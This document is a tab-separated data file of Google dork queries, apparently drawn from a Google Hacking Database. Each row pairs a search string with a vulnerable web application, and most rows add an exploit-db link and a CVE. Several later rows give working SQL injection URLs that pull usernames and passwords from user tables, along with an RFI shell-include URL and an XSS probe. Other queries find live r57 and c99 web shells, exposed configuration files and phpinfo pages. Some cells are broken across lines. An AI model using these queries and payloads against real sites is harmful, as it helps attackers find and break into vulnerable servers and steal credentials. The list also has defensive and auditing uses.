by Pc4Uploader v9.0"	v9.0"	Injection Vulnerability - CVE: 2009-1742: http://www.exploit-db.com/exploits/8709
"copyright 2006 Broadband Mechanics"	"copyright 2006 Broadband Mechanics"	PeopleAggregator 1.2pre6-release-53 Multiple RFI Vulnerabilities - CVE: 2007-5631: http://www.exploit-db.com/exploits/4551
"powered by shutter v0.1.1"	"powered by shutter v0.1.1"	Shutter 0.1.1 Multiple Remote SQL Injection Vulnerabilities - CVE: 2009-1650: http://www.exploit-db.com/exploits/8679
"Powered by PHP Director 0.2"	"Powered by PHP Director 0.2"	PHP Director 0.21 (sql into outfile) eval() Injection: http://www.exploit-db.com/exploits/8181
intitle:phpinfo intext:"php version" +windows	intitle:phpinfo intext:"php version" +windows	PHP 5.x COM functions safe_mode and disable_function bypass - CVE: 2007-5653: http://www.exploit-db.com/exploits/4553
"S-CMS by matteoiamma"	"S-CMS by matteoiamma"	S-CMS 2.0b3 Multiple SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/8914
inurl:"modules/articles/index.php?cat_id="	inurl:"modules/articles/index.php?cat_id="	XOOPS module Articles 1.03 (index.php cat_id) SQL Injection - CVE: 2007-3311: http://www.exploit-db.com/exploits/3594
"by Pivot - 1.40.5" +'Dreadwind' -pivotlog.net	"by Pivot - 1.40.5" +'Dreadwind' -pivotlog.net	Pivot 1.40.5 Dreamwind load_template() Credentials Disclosure - CVE: 2008-3128: http://www.exploit-db.com/exploits/5973
"PHP Easy Downloader"	"PHP Easy Downloader"	PHP Easy Downloader 1.5 (save.php) Remote Code Execution: http://www.exploit-db.com/exploits/2812
"Powered by LoudBlog"	"Powered by LoudBlog"	LoudBlog 0.5 (id) SQL Injection / Admin Credentials Disclosure - CVE: 2006-3832: http://www.exploit-db.com/exploits/2050
"Powered by visinia"	"Powered by visinia"	Visinia 1.3 Multiple Vulnerabilities - http://www.exploit-db.com/exploits/14879
"Powered by Seditio"	"Powered by Seditio"	Seditio CMS 121 Remote SQL Injection - CVE: 2007-6202:

		http://www.exploit-db.com/exploits/4678
aspWebLinks 2.0	aspWebLinks 2.0	aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change - CVE: 2006-2848: http://www.exploit-db.com/exploits/1859
"Powered by Burning Board Lite 1.0.2" or "Powered by Burning Board 2.3.6"	"Powered by Burning Board Lite 1.0.2" or "Powered by Burning Board 2.3.6"	Woltlab Burning Board 1.0.2, 2.3.6 search.php SQL Injection - CVE: 2007-0388: http://www.exploit-db.com/exploits/3143
inurl:/webquest/soporte_derecha_w.php?	inurl:/webquest/soporte_derecha_w.php?	PHP Webquest 2.5 (id_actividad) Remote SQL Injection - CVE: 2007-4920: http://www.exploit-db.com/exploits/4407
intext:"Powered by pppblog"	intext:"Powered by pppblog"	pppBlog 0.3.8 (randompic.php) System Disclosure - CVE: 2006-2770: http://www.exploit-db.com/exploits/1853
inurl:"printable_pedigree.php"	inurl:"printable_pedigree.php"	Dog Pedigree Online Database 1.0.1b Insecure Cookie Handling: http://www.exploit-db.com/exploits/8739
"Powered by LifeType" "RSS 0.90" "RSS 1.0" "RSS 2.0" "Valid XHTML 1.0 Strict and CSS"	"Powered by LifeType" "RSS 0.90" "RSS 1.0" "RSS 2.0" "Valid XHTML 1.0 Strict and CSS"	LifeType 1.0.4 SQL Injection / Admin Credentials Disclosure - CVE: 2006-2857: http://www.exploit-db.com/exploits/1874
"Powered by Leap"	"Powered by Leap"	Leap CMS 0.1.4 (SQL/XSS/SU) Multiple Remote Vulnerabilities - CVE: 2009-1615: http://www.exploit-db.com/exploits/8577
inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy	inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy	PmWiki
"Powered by UPB"	"Powered by UPB"	Ultimate PHP Board 2.0 (header_simple.php) File Include - CVE: 2006-7169: http://www.exploit-db.com/exploits/2721

"BioScripts"	"BioScripts"	MiniTwitter 0.2b Remote User Options Change - CVE: 2009-2574: http://www.exploit-db.com/exploits/8587
"Powered by Claroline" -demo	"Powered by Claroline" -demo	Claroline
inurl:sysinfo.cgi ext:cgi	inurl:sysinfo.cgi ext:cgi	SysInfo 1.21 (sysinfo.cgi) Remote Command Execution - CVE: 2006-1831: http://www.exploit-db.com/exploits/1677
"Powered by Burning Board" -exploit -johnny	"Powered by Burning Board" -exploit -johnny	Woltlab Burning Board Lite 1.0.2pl3e (pms.php) SQL Injection - CVE: 2007-0812: http://www.exploit-db.com/exploits/3262
"Welcome to Exponent CMS" | "my new exponent site"	"Welcome to Exponent CMS" | "my new exponent site"	Exponent CMS 0.96.3 (view) Remote Command Execution - CVE: 2006-4963: http://www.exploit-db.com/exploits/2391
"Powered by PMOS Help Desk"	"Powered by PMOS Help Desk"	PMOS Help Desk 2.4 Remote Command Execution - CVE: 2007-6550: http://www.exploit-db.com/exploits/4789
"Powered By Pligg" + "Legal: License and Source"	"Powered By Pligg" + "Legal: License and Source"	Pligg 9.9.0 Remote Code Execution - CVE: 2008-7091: http://www.exploit-db.com/exploits/6172
Powered.by.RaidenHTTPD +intitle:index.of | inurl:raidenhttpd-admin	Powered.by.RaidenHTTPD +intitle:index.of | inurl:raidenhttpd-admin	RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution - CVE: 2006-4723: http://www.exploit-db.com/exploits/2328
Site powered By Limbo CMS	Site powered By Limbo CMS	Limbo CMS 1.0.4.2 Cuid cookie Blind SQL Injection - CVE: 2008-0734: http://www.exploit-db.com/exploits/5088
inurl:naviid + inurl:liste9	inurl:naviid + inurl:liste9	Aiyoota! CMS - Blind SQL Injection: http://www.exploit-db.com/exploits/7490
"POWERED BY PHPNUKE.IR"	"POWERED BY PHPNUKE.IR"	PHPnuke 8.2 Remote Upload File: http://www.exploit-db.com/exploits/14058
inurl:"com_gcalen	inurl:"com_gcalendar"	Joomla Component com_gcalendar

dar"		1.1.2 (gcid) Remote SQL Injection Vulnerability - CVE: 2009-4099: http://www.exploit-db.com/exploits/10232
"toendaCMS is Free Software released under the GNU/GPL License." | "powered by toendaCMS" -inurl:demo	"toendaCMS is Free Software released under the GNU/GPL License." | "powered by toendaCMS" -inurl:demo	toendaCMS 1.0.0 (FCKeditor) Remote File Upload: http://www.exploit-db.com/exploits/2035
Powered by WikyBlog	Powered by WikyBlog	WikyBlog v1.7.3rc2 Multiple Vulnerabilities - CVE: 2010-0754: http://www.exploit-db.com/exploits/11560
"powered by yourtube"	"powered by yourtube"	YourTube 2.0 Arbitrary Database Disclosure: http://www.exploit-db.com/exploits/9073
"Powered by cpCommerce"	"Powered by cpCommerce"	cpCommerce
FhImage, powered by Flash-here.com	FhImage, powered by Flash-here.com	Fhimage 1.2.1 Remote Index Change: http://www.exploit-db.com/exploits/7820
"Powered by: Arab Portal v2"	"Powered by: Arab Portal v2"	Arab Portal v2.x (forum.php qc) Remote SQL Injection - CVE: 2009-2781: http://www.exploit-db.com/exploits/9320
"Powered by PHP iCalendar"	"Powered by PHP iCalendar"	PHP iCalendar 2.24 (cookie_language) LFI / File Upload - CVE: 2008-5967: http://www.exploit-db.com/exploits/6519
POWERED BY ALITALK	POWERED BY ALITALK	ALITALK 1.9.1.1 Multiple Remote Vulnerabilities - CVE: 2008-0371: http://www.exploit-db.com/exploits/4922
Copyright 2010. Software Index	Copyright 2010. Software Index	Software Index (Remote File Upload) Exploit: http://www.exploit-db.com/exploits/13999
"Powered by MDForum"	"Powered by MDForum"	MDForum 2.0.1 (PNSVlang) Remote Code Execution - CVE: 2006-6869: http://www.exploit-db.com/exploits/3057

"Help * Contact * Imprint * Sitemap" | "powered by papoo" | "powered by cms papoo"	"Help * Contact * Imprint * Sitemap" | "powered by papoo" | "powered by cms papoo"	PAPOO 3_RC3 SQL Injection/Admin Credentials Disclosure - CVE: 2006-3571: http://www.exploit-db.com/exploits/1993
"Powered by mojoPortal"	"Powered by mojoPortal"	mojoportal Multiple Remote Vulnerabilities - CVE: 2010-3602: http://www.exploit-db.com/exploits/15018
intitle:"login to cacti"	intitle:"login to cacti"	Cacti 0.8.6i (copy_cacti_user.php) SQL Injection: http://www.exploit-db.com/exploits/3045
"BioScripts"	"BioScripts"	MiniTwitter 0.3-Beta (SQL/XSS) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/8778
"Powered by PHP Advanced Transfer Manager v1.30"	"Powered by PHP Advanced Transfer Manager v1.30"	PHP Advanced Transfer Manager 1.30 Source Code Disclosure: http://www.exploit-db.com/exploits/2968
Small Business Manager	Small Business Manager	Plesk Small Business Manager 10.2.0 and Site Editor Multiple Vulnerabilities: http://www.exploit-db.com/exploits/15313
"Powered by webSPELL"	"Powered by webSPELL"	webSPELL 4.2.0c Bypass BBCode XSS Cookie Stealing Vulnerability - CVE: 2009-1408: http://www.exploit-db.com/exploits/8453
"Help * Contact * Imprint * Sitemap" | "powered by papoo" | "powered by cms papoo"	"Help * Contact * Imprint * Sitemap" | "powered by papoo" | "powered by cms papoo"	Papoo 3.02 (kontakt menuid) Remote SQL Injection - CVE: 2007-2320: http://www.exploit-db.com/exploits/3739
"Powered by IMGallery"	"Powered by IMGallery"	IMGallery 2.5 Create Uploader Script - CVE: 2007-0082: http://www.exploit-db.com/exploits/3049
intext:"Powered by Plogger!" - plogger.org	intext:"Powered by Plogger!" - plogger.org	Plogger Beta 2.1 Administrative Credentials Disclosure: http://www.exploit-db.com/exploits/1621
"Powered by FreeWebshop.org 2.2.1"	"Powered by FreeWebshop.org 2.2.1"	FreeWebshop 2.2.1 Remote Blind SQL Injection - CVE: 2007-6466: http://www.exploit-

		db.com/exploits/4740
"powered by XHP CMS"	"powered by XHP CMS"	XHP CMS 0.5 (upload) Remote Command Execution - CVE: 2006-1371: http://www.exploit-db.com/exploits/1605
"100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="	"100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="	Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection - CVE: 2008-6988: http://www.exploit-db.com/exploits/6428
Portal By vbPortal Version 3.5.0	Portal By vbPortal Version 3.5.0	vbPortal 3.0.2 3.6.0 b1 (cookie) Remote Code Excution - CVE: 2006-4004: http://www.exploit-db.com/exploits/2087
"Copyright @2007 Iatek LLC"	"Copyright @2007 Iatek LLC"	PortalApp 4.0 (SQL/XSS/Auth Bypasses) Multiple Remote Vulnerabilities - CVE: 2008-4612: http://www.exploit-db.com/exploits/4848
"& Spider Friendly by Crack"	"& Spider Friendly by Crack"	phpBB Spider Friendly Module 1.3.10 File Include - CVE: 2006-5665: http://www.exploit-db.com/exploits/2686
intitle:"login to cacti"	intitle:"login to cacti"	Cacti 0.8.6i cmd.php popen() Remote Injection: http://www.exploit-db.com/exploits/3029
Welcome to your PHPOpenChat-Installation!	Welcome to your PHPOpenChat-Installation!	ADODB 4.70 (PhpOpenChat 3.0.x) Server.php SQL Injection: http://www.exploit-db.com/exploits/1652
"powered by TSEP - The Search Engine Project"	"powered by TSEP - The Search Engine Project"	TSEP 0.942.02 Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/9057
WEBalbum 2004-2006 duda	WEBalbum 2004-2006 duda	WebAlbum 2.02pl COOKIE[skin2] Remote Code Execution - CVE: 2006-1480: http://www.exploit-db.com/exploits/1608
"Powered by PHP-Update" - site:www.php-update.co.uk	"Powered by PHP-Update" - site:www.php-update.co.uk	PHP-Update
"Powered by	"Powered by Zomplog"	Zomplog 3.8.1 upload_files.php

Zomplog"		Arbitrary File Upload - CVE: 2007-5230: http://www.exploit-db.com/exploits/4466
intext:"Powered by simplog"	intext:"Powered by simplog"	Simplog 0.9.2 (s) Remote Commands Execution - CVE: 2006-0146: http://www.exploit-db.com/exploits/1663
"Powered by SMF"	"Powered by SMF"	Simple Machines Forum 1.1 rc2 local inclusion: http://www.exploit-db.com/exploits/2231
inurl:php-stats.js.php	inurl:php-stats.js.php	Php-Stats 0.1.9.1b (php-stats-options.php) admin 2 exec() - CVE: 2006-7173: http://www.exploit-db.com/exploits/3502
"Powered by MercuryBoard"	"Powered by MercuryBoard"	MercuryBoard 1.1.4 (User-Agent) Remote SQL Injection: http://www.exploit-db.com/exploits/2247
"Powered by Drake CMS" inurl:index.php?option=guestbook	"Powered by Drake CMS" inurl:index.php?option=guestbook	Drake CMS 0.4.11 Remote Blind SQL Injection - CVE: 2008-6475: http://www.exploit-db.com/exploits/5391
"Driven by DokuWiki"	"Driven by DokuWiki"	DokuWiki 2006-03-09b (dwpage.php) Remote Code Execution: http://www.exploit-db.com/exploits/2321
"powered by php update"	"powered by php update"	PHP-Update 2.7 (admin/uploads.php) Remote Code Execution - CVE: 2006-6878: http://www.exploit-db.com/exploits/3020
"powered by jaws" | "powered by the jaws project" | inurl:?gadget=search	"powered by jaws" | "powered by the jaws project" | inurl:?gadget=search	Jaws 0.6.2 (Search gadget) Remote SQL Injection - CVE: 2006-3292: http://www.exploit-db.com/exploits/1946/
Realizzato utilizzando Web Portal	Realizzato utilizzando Web Portal	WebPortal CMS 0.6-beta Remote Password Change - CVE: 2008-0142: http://www.exploit-db.com/exploits/4835
"powered by ILIAS"	"powered by ILIAS"	ILIAS LMS 3.9.9/3.10.7 Arbitrary Edition/Info Disclosure Vulns: http://www.exploit-db.com/exploits/9151

"This site is powered by CMS Made Simple"	"This site is powered by CMS Made Simple"	CMS Made Simple 1.2.4 (FileManager module) File Upload - CVE: 2008-2267: http://www.exploit-db.com/exploits/5600
"FlatNuke" "Valid HTML 4.01!" "Valid CSS!" "Get RSS 2.0 Feed" "Get RSS	"FlatNuke" "Valid HTML 4.01!" "Valid CSS!" "Get RSS 2.0 Feed" "Get RSS	Flatnuke 2.5.8 file() Priv Escalation / Code Execution: http://www.exploit-db.com/exploits/2498
Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top	Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top	Nucleus CMS 3.22 (DIR_LIBS) Arbitrary Remote Inclusion - CVE: 2006-2583: http://www.exploit-db.com/exploits/1816
"by eXtreme Crew"	"by eXtreme Crew"	extreme-fusion 4.02 Remote Code Execution: http://www.exploit-db.com/exploits/2937
"2007 Rafal Kucharski"	"2007 Rafal Kucharski"	RTWebalbum 1.0.462 (AlbumID) Blind SQL Injection - CVE: 2009-1910: http://www.exploit-db.com/exploits/8648
"This forum powered by Phorum."	"This forum powered by Phorum."	Phorum 5 (pm.php) Arbitrary Local Inclusion - CVE: 2006-3611: http://www.exploit-db.com/exploits/2008
"is proudly powered by WordPress"	"is proudly powered by WordPress"	Wordpress 2.0.6 wp-trackback.php Remote SQL Injection - CVE: 2007-0233: http://www.exploit-db.com/exploits/3109
"Powered by Burning Board Lite 1.0.2 * 2001-2004"	"Powered by Burning Board Lite 1.0.2 * 2001-2004"	Woltlab Burning Board Lite 1.0.2 Blind SQL Injection: http://www.exploit-db.com/exploits/2842
FhImage, powered by Flash-here.com	FhImage, powered by Flash-here.com	Fhimage 1.2.1 Remote Command Execution: http://www.exploit-db.com/exploits/7821
"FlatNuke" "Valid HTML 4.01!" "Valid CSS!" "Get RSS 2.0 Feed" "Get RSS	"FlatNuke" "Valid HTML 4.01!" "Valid CSS!" "Get RSS 2.0 Feed" "Get RSS	Flatnuke 2.5.8 (userlang) Local Inclusion / Delete All Users: http://www.exploit-db.com/exploits/2499
"powered by	"powered by blur6ex"	blur6ex 0.3.462 (ID) Admin Disclosure

blur6ex"		/ Blind SQL Injection - CVE: 2006-3065: http://www.exploit-db.com/exploits/1904
"Powered by Claroline" -demo	"Powered by Claroline" -demo	Claroline 1.7.4 (scormExport.inc.php) Remote Code Execution: http://www.exploit-db.com/exploits/1627
"Powered by Burning Board Lite 1.0.2 * 2001-2004"	"Powered by Burning Board Lite 1.0.2 * 2001-2004"	Woltlab Burning Board Lite 1.0.2 decode_cookie() SQL Injection - CVE: 2006-6237: http://www.exploit-db.com/exploits/2841
"Personal .NET Portal"	"Personal .NET Portal"	Personal.Net Portal Multiple Vulnerabilities: http://www.exploit-db.com/exploits/15067
"SmodBIP" & "Aktualno.ci"	"SmodBIP" & "Aktualno.ci"	SmodBIP 1.06 (aktualnosci zoom) Remote SQL Injection - CVE: 2007-1920: http://www.exploit-db.com/exploits/3678
"SmodCMS" & "S.ownik"	"SmodCMS" & "S.ownik"	SmodCMS 2.10 (Slownik ssid) Remote SQL Injection - CVE: 2007-1931: http://www.exploit-db.com/exploits/3679
"is a product of Lussumo"	"is a product of Lussumo"	Vanilla 1.1.3 Remote Blind SQL Injection - CVE: 2007-5643: http://www.exploit-db.com/exploits/4548
inurl:"index.php?name=PNphpBB2"	inurl:"index.php?name=PNphpBB2"	PNphpBB2 1.2 (index.php c) Remote SQL Injection - CVE: 2007-3052: http://www.exploit-db.com/exploits/4026
"Powered by Online Grades"	"Powered by Online Grades"	Online Grades & Attendance 3.2.6 Credentials Changer SQL injection: http://www.exploit-db.com/exploits/8843
"Powered by PHP Photo Album"	"Powered by PHP Photo Album"	phpAlbum
"Powered by ClanTiger"	"Powered by ClanTiger"	ClanTiger 1.1.1 Multiple Cookie Handling Vulnerabilities: http://www.exploit-db.com/exploits/8471
"powered by php photo album" -	"powered by php photo album" -demo2 -pitanje"	PHP Album 0.3.2.3 Remote Command Execution: http://www.exploit-

demo2 -pitanje"		db.com/exploits/1678
inurl:/modules/lykos_reviews/	inurl:/modules/lykos_reviews/	XOOPS Module Lykos Reviews 1.00 (index.php) SQL Injection - CVE: 2007-1817: http://www.exploit-db.com/exploits/3618
"Powered By X7 Chat"	"Powered By X7 Chat"	X7 Chat 2.0.4 (old_prefix) Remote Blind SQL Injection - CVE: 2006-3851: http://www.exploit-db.com/exploits/2068
"powered by guestbook script"	"powered by guestbook script"	GuestBook Script 1.7 (include_files) Remote Code Execution: http://www.exploit-db.com/exploits/1575
index.php?option=com_ezine	index.php?option=com_ezine	Joomla Component D4JeZine 2.8 Remote BLIND SQL Injection - CVE: 2007-1776: http://www.exploit-db.com/exploits/3590
"This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files	"This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files	e107 0.75 (GLOBALS Overwrite) Remote Code Execution: http://www.exploit-db.com/exploits/2268
inurl:/modules/xfsection/	inurl:/modules/xfsection/	XOOPS Module XFsection 1.07 (articleid) BLIND SQL Injection - CVE: 2005-0725: http://www.exploit-db.com/exploits/3645
inurl:"phpwcms/index.php?id="	inurl:"phpwcms/index.php?id="	phpwcms 1.2.6 (Cookie: wcs_user_lang) Local File Include: http://www.exploit-db.com/exploits/2758
intext:"This site is using phpGraphy" | intitle:"my phpgraphy site"	intext:"This site is using phpGraphy" | intitle:"my phpgraphy site"	PHPGraphy 0.9.12 Privilege Escalation / Commands Execution: http://www.exploit-db.com/exploits/2867
"Copyright Devellion Limited 2005. All rights reserved."	"Copyright Devellion Limited 2005. All rights reserved."	CubeCart 3.0.11 (oid) Remote Blind SQL Injection - CVE: 2006-4267: http://www.exploit-db.com/exploits/2198
inurl:/modules/debaser/	inurl:/modules/debaser/	XOOPS Module debaser 0.92 (genre.php) BLIND SQL Injection- CVE: 2007-1805: http://www.exploit-db.com/exploits/3630

"Powered by Quick.Cms"	"Powered by Quick.Cms"	Quick.Cms.Lite 0.3 (Cookie sLanguage) Local File Include - CVE: 2006-5834: http://www.exploit-db.com/exploits/2719
inurl:/modules/rmgallery/	inurl:/modules/rmgallery/	XOOPS Module RM+Soft Gallery 1.0 BLIND SQL Injection - CVE: 2007-1806: http://www.exploit-db.com/exploits/3633
intext:"2000-2001 The phpHeaven Team"	intext:"2000-2001 The phpHeaven Team"	phpMyChat 0.14.5 (SYS enter) Remote Code Execution: http://www.exploit-db.com/exploits/1646
"Basado en Spirate"	"Basado en Spirate"	Small Pirate v-2.1 (XSS/SQL) Multiple Remote Vulnerabilities - CVE: 2009-4936: http://www.exploit-db.com/exploits/8819
inurl:"lists/?p=subscribe" | inurl:"lists/index.php?p=subscribe"	inurl:"lists/?p=subscribe" | inurl:"lists/index.php?p=subscribe"	PHPList 2.10.2 GLOBALS[] Remote Code Execution: http://www.exploit-db.com/exploits/1659
"Barbecued by sNews"	"Barbecued by sNews"	sNews 1.5.30 Remote Reset Admin Pass / Command Exec Exploit - CVE: 2007-0261: http://www.exploit-db.com/exploits/3116
inurl:"printable_pedigree.php"	inurl:"printable_pedigree.php"	Dog Pedigree Online Database 1.0.1b Blind SQL Injection: http://www.exploit-db.com/exploits/8740
"powered by discuz!	"powered by discuz!	Discuz! 4.x SQL Injection / Admin Credentials Disclosure: http://www.exploit-db.com/exploits/2859
"LinPHA Version 1.3.x" or "The LinPHA developers"	"LinPHA Version 1.3.x" or "The LinPHA developers"	LinPHA 1.3.1 (new_images.php) Remote Blind SQL Injection - CVE: 2007-4053: http://www.exploit-db.com/exploits/4242/
"Powered by ClanTiger"	"Powered by ClanTiger"	ClanTiger 1.1.1 (slug) Blind SQL Injection: http://www.exploit-db.com/exploits/8473
"AlumniServer project"	"AlumniServer project"	AlumniServer 1.0.1 (resetpwemail) Blind SQL Injection: http://www.exploit-db.com/exploits/9020

"Powered by sendcard - an advanced PHP e-card program"	"Powered by sendcard - an advanced PHP e-card program"	SendCard 3.4.0 Unauthorized Administrative Access: http://www.exploit-db.com/exploits/2117
"This is a Free & Open Source mailing list manager"	"This is a Free & Open Source mailing list manager"	Open Newsletter
insite: SmarterMail Enterprise 7.1	SmarterMail Enterprise 7.1	http://www.exploit-db.com/exploits/15185
inurl:"com_sqlreport"	inurl:"com_sqlreport"	Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability - CVE: 2010-0753: http://www.exploit-db.com/exploits/11549
"Powered by Quick.Cart"	"Powered by Quick.Cart"	Quick.Cart 2.2 RFI/LFI Remote Code Execution Exploit - CVE: 2007-3138: http://www.exploit-db.com/exploits/4025
"Powered by Shadowed Portal"	"Powered by Shadowed Portal"	Shadowed Portal 5.7d3 Remote Command Execution Exploit: http://www.exploit-db.com/exploits/4768
"powered by bitweaver"	"powered by bitweaver"	bitweaver 1.3 (tmpImagePath) Attachment mod_mime Exploit - CVE: 2006-3105: http://www.exploit-db.com/exploits/1918
inurl:"index.php?ind=blog"	inurl:"index.php?ind=blog"	MKPortal 1.2.1 Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/7796/
("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net -Zoekinalles.nl -analysis	("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net -Zoekinalles.nl -analysis	NOCC Webmail 1.0 (Local Inclusion) Remote Code Execution Exploit - CVE: 2006-0891: http://www.exploit-db.com/exploits/1522/
inurl:/level/15/exec/-/configure/http	inurl:/level/15/exec/-/configure/http	Default Cisco 2800 Series page
inurl:/exec/show/tech-support/cr	inurl:/exec/show/tech-support/cr	Default Cisco 2800 Series page

inurl:/level/15/exec/-	inurl:/level/15/exec/-	Default Cisco 2800 Series page
inurl:"?delete" +intext:"PHP version" +intext:"Safe_mode"	inurl:"?delete" +intext:"PHP version" +intext:"Safe_mode"	Matches some well known phpshells (r57 and the like).
inurl:"?act=phpinfo"	inurl:"?act=phpinfo"	Match some well known phpshells (c99 and ironwarez and the like).
"Powered by SiteEngine"	"Powered by SiteEngine"	SiteEngine 7.1 SQL injection Vulnerability: http://www.exploit-db.com/exploits/15612
inurl:"index.php?option=com_competitions"	inurl:"index.php?option=com_competitions"	SQL Injection: http://127.0.0.1/index.php?option=com_competitions&task=view&id=-9 union all select 1,2,3,4,group_concat(username,0x3a,email,0x3a,password),6,7 from jos_users-- and XSS: http://127.0.0.1/index.php?option=com_competitions&menu=XroGuE Author: Ashiyane Digital Security Team
inurl:"index.php?option=com_catalogue"	inurl:"index.php?option=com_catalogue"	Author: Ashiyane Digital Security Team SQL Injection: http://server/index.php?option=com_catalogue&Itemid=73&cat_id=-999 union select 1,version(),user(),4,5,6
inurl:index.php?option=com_doqment&cid=	inurl:index.php?option=com_doqment&cid=	Author: KedAns-Dz http://server/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--
"Powered By Dejcom Market CMS"	"Powered By Dejcom Market CMS"	Submitter:Mormoroth PoC: http://server/showbrand.aspx?bc=%27 or 1=(select top 1 table_name from information_schema.tables where table_name not in('bill','billdetail','cart','charge'))--
"SOOP Portal 2.0"	"SOOP Portal 2.0"	Submitted by: Net.Edit0r Shell Upload: http://www.exploit-db.com/exploits/15690

inurl:index.php?option=com_lqm "showResults"	inurl:index.php?option=com_lqm "showResults"	Submitter: Snakespc SQL Injection: http://server/index.php?option=com_lqm&query=7&task=showResults&Itemid=158&lang=en&lqm_individual_id=-223+UNION SELECT 1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12+from+cil_site.jos_us
intitle:PhpMyAdmin inurl:error.php	PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification	intitle:PhpMyAdmin inurl:error.php
inurl:page.php?intPageID=	inurl:page.php?intPageID=	Submitter: Srblche SQL Injection: http://server/page.php?intPageID=[SQL]
inurl:configuration.php-dist	inurl:configuration.php-dist	locates the default configuration file of JOOMLA Author: ScOrPiOn
inurl:"config.php.new" +vbulletin	inurl:"config.php.new" +vbulletin	locates the default configuration file for vBulletin (/includes/config.php.new) Author: MaXe
"[phpinfo] [php.ini] [cpu] [mem] [users] [tmp] [delete]"	"[phpinfo] [php.ini] [cpu] [mem] [users] [tmp] [delete]"	Locates r57 web shells Author: ScOrPiOn
"r57shell 1.4"	"r57shell 1.4"	Locates r57 web shells Author: ScOrPiOn
"r57shell"	"r57shell"	Locates r57 web shells Author: ScOrPiOn
"Powered by SOOP Portal Raven 1.0b"	"Powered by SOOP Portal Raven 1.0b"	Submitter: Sun Army - http://www.exploit-db.com/exploits/15703
"safe_mode: * PHP version: * cURL: * MySQL: * MSSQL: * PostgreSQL: * Oracle: *"	"safe_mode: * PHP version: * cURL: * MySQL: * MSSQL: * PostgreSQL: * Oracle: *"	Locates r57 web shells Author: ScOrPiOn
"plugins/wp-db-backup/wp-db-backup.php"	"plugins/wp-db-backup/wp-db-backup.php"	Many of the results of the search show error logs which give an attacker the server side paths including the home directory name. This name is often also used for the login to ftp and shell access, which exposes the system to attack. Author: ScOrPiOn

"www.*.com - c99shell" OR "www.*.net - c99shell" OR "www.*.org - c99shell"	"www.*.com - c99shell" OR "www.*.net - c99shell" OR "www.*.org - c99shell"	Locates c99 web shells Author: ScOrPiOn
"CGI-Telnet Unit-x Team Connected to *.com" OR "CGI-Telnet Unit-x Team Connected to"	"CGI-Telnet Unit-x Team Connected to *.com" OR "CGI-Telnet Unit-x Team Connected to"	Locates CGI-Telnet web shells. Author: ScOrPiOn
inurl:phpinfo.php	inurl:phpinfo.php	Locates phpinfo files. A phpinfo file Outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment , the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License. Author: ScOrPiOn
inurl:/vb/install/install.php	inurl:/vb/install/install.php	Vbulletin installation wizards, allow users to modify installation parameters. May also reveal sql username, password and table installations. Author: ScOrPiOn
inurl:/vb/install/upgrade.php	inurl:/vb/install/upgrade.php	Vbulletin custom updrade wizards. Author: ScOrPiOn
inurl:com_amresurrected	inurl:com_amresurrected	Submitter: Bl4ck.Viper SQL Injection: index.php?option=com_amresurrected &Itemid=[Sqli]
allinurl:/xampp/security.php	allinurl:/xampp/security.php	XAMPP Security Setting Page Information Disclosure. Author: modpr0be
"POWERED BY: WEBINSPIRE"	"POWERED BY: WEBINSPIRE"	Author: ghost-dz SQL Injection: http://server/pages.php?id=30+and+1=0+union+select+1,concat(id,0x3a,usr,0x3a,pwd,0x3a,email),3,4,5,6+from+utenti--
"Powered By PageAdmin CMS	"Powered By PageAdmin CMS Free Version"	Author: Sun Army XSS: /include/search.aspx?keycode=">xss

Free Version"		ByTakpar&type=1&language=en
inurl:"produtos.asp?produto="	inurl:"produtos.asp?produto="	Submitter: Br0ly http://www.exploit-db.com/exploits/15776
inurl:com_jeauto	inurl:com_jeauto	LFI: http://www.exploit-db.com/exploits/15779
allinurl:index.php?db=information_schema	allinurl:index.php?db=information_schema	Submitter: modpr0be phpMyAdmin Direct Access to information_schema Database
"Powered by CubeCart 3.0.4"	"Powered by CubeCart 3.0.4"	CSRF:http://www.exploit-db.com/exploits/15822
"Powered by KaiBB 1.0.1"	"Powered by KaiBB 1.0.1"	Multiple Vulnerabilities:http://www.exploit-db.com/exploits/15846/
"Website Design by Rocktime"	"Website Design by Rocktime"	Submitter: n0n0x http://server/product.php?fdProductId=[SQL Injection]
"Powered by UNO.com.my"	"Powered by UNO.com.my"	Submitter: SiKodoQ http://127.0.0.1/[path]/page.php?pid=[SQLi]
"/index.php?id=cmp-noticias"	"/index.php?id=cmp-noticias"	Submitter: xoron http://server/index.php?id=cmp-noticias&n=[SQLi]
inurl:"/gadmin/index.php"	inurl:"/gadmin/index.php"	Author: AtT4CKxT3rR0r1ST SQL Injection: www.site.com/gallery.php?id=null[Sql Injection]
"Powered by YourTube v1.0"	"Powered by YourTube v1.0"	Author: AtT4CKxT3rR0r1ST CSRF: http://www.exploit-db.com/exploits/15892
inurl:"com_eventcal"	inurl:"com_eventcal"	Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn] RFI: www.site.com/components/com_eventcal/eventcal.php?mosConfig_absolute_path=[shell.txt?]
"POWERED BY ALITALK"	"POWERED BY ALITALK"	intext:"POWERED BY ALITALK"
"Powered by phpMySport"	"Powered by phpMySport"	intext:"Powered by phpMySport" Multiple Vulnerabilities: http://www.exploit-db.com/exploits/15921/
